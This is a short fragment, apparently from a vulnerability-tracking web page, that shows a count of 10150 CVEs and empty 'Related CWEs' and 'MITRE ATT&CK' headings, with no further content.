Total CVEs
10150

Related CWEs

MITRE ATT&CK

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